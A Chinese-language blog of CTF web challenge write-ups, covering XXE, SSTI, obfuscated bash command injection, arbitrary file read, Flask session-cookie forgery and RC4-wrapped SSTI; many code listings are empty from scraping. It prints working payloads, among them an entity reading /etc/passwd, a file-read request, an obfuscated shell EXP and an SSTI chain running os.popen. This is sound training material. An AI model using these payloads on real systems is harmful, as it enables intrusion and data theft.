[KPCTF 2024 决赛]Where is the flag
考察点:
1.测试XXE是否存在
1 |
|
测试:
1 |
|

确实是存在,再尝试读取环境变量

失败了,去查发现应该是没有权限
2.深入了解XXE
解释代码
1 |
|
1 | & 引用外部元素 |
比较不同:
1 |
|
可以!
1 |
|
不行!
为什么?
根本原因:服务端的数据处理逻辑
问题不在于 XML 语法或 XXE 本身,而是 服务端代码的解析逻辑 限定了只处理特定标签(如 <username>)。以下是具体分析:
场景模拟:服务端代码示例
假设服务端使用如下代码解析 XML(以 Python 为例):
1 | from lxml import etree |
关键逻辑:
- 服务端通过
root.findtext('username')显式指定 提取<username>标签的文本内容。 - 如果 XML 中没有
<username>标签,则username变量为None,响应中不会返回任何内容。
所以,我们要一步步测试内容,是name or username 之类的一步步测试
1.什么是 DTD,什么是嵌套实体
DTD:
1 | <!--DTD 相当于容器 --> |
嵌套实体
1 |
|
2.什么是<!DOCTYPE,<!ENTITY
DOCTYPE 是什么? (定义文档)
定义:
<!DOCTYPE>是 XML 文档的 文档类型声明,用于定义 DTD(Document Type Definition)。作用:
- 约束 XML 结构(如元素嵌套关系)。
- 声明实体(Entities),包括内部实体和外部实体。
语法:
1
2
3- 示例:
<!DOCTYPE root [...]>表示根元素名为root。
- 示例:
ENTITY 是什么? (定义变量)
- 定义:实体是 XML 中用于 复用数据 的占位符,类似编程中的变量。
- 分类:
- 通用实体(General Entity):
- 在 XML 文档主体中引用。
- 声明:
<!ENTITY name "value">。 - 引用:
&name;。
- 参数实体(Parameter Entity):
- 仅在 DTD 内部使用。
- 声明:
<!ENTITY % name "value">。 - 引用:
%name;。
- 外部实体(External Entity):
- 通过
SYSTEM关键字引用外部资源。 - 示例:
<!ENTITY ext SYSTEM "file:///etc/passwd">。
- 通过
- 通用实体(General Entity):
测试存在XXE代码:
1 |
|
[HNCTF 2022 WEEK3]ssssti

这个b注入点,谁想得到
1 | http://node5.anna.nssctf.cn:28966/?name={{7*7}} |
[安洵杯 2020]BASH
考察点:
源码:
1 |
|
专门生成的网站:https://probiusofficial.github.io/bashFuck/

EXP
1 | cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}0${##}${##}${##}0))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}00${##}000${##}))\\$(($((${##}<<${##}))#${##}00${##}000${##}))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}${##}${##}000))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}0${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\' |

得到:

[NCTF 2023]Webshell Generator
考察点: sed -e 执行漏洞
抓包发现回显页面有点奇怪:

疑似提醒可以任意读取。
发现还真的可以读取:
1 | POST /download.php?file=/etc/passwd&filename=1.php HTTP/1.1 |

读取环境变量:
1 | 权限不足 |
读取源码:
1 | POST /download.php?file=index.php&filename=1.php HTTP/1.1 |
1 |
|
1 |
prize_p4
1 |

只有更换,不是GET才行
改为HEAD:

1 | session=eyJhZG1pbiI6ZmFsc2UsImRhdGEiOnsiIGIiOiJNVEU9In0sImtleSI6Ijg3ZTY0NWRmLWU0ODItNDY0Yi1hYjZhLTg1NDBiYmJmN2RlNyIsInVybCI6IjExIn0.aECAdA.e055QPMEw5szTfVAnEwrC7eTUv4; |
1 | { |
伪造Cookie方法:
网页伪造法:
打开WEB工具箱找到cookie伪造,只要输入密钥即可:
1 | from flask import * |

也可以使用插件:

1 | eyJhZG1pbiI6dHJ1ZX0.aECBZw.lI7bZLQpfh4ub_yeP3AZKYhqIpM |
得到源码:

1 | from flask import Flask, request, session, render_template, url_for,redirect,render_template_string |
如果cookie值不只需要admin呢?
1 |
|

也是正确的
[NISACTF 2022]is secret
考察点:报错代码审计 + Re4加密
扫描得到secret页面:

猜测是secret:

出现报错页面:

叫AI分析:

看来是使用RC4加密后的SSTI
1 | key:HereIsTreasure |

不是在这上面更改,是下面!!!

1 | import base64 |
1 | config.__class__.__init__.__globals__['os'].popen('cat /f*').read() |
最终payload:
1 | import base64 |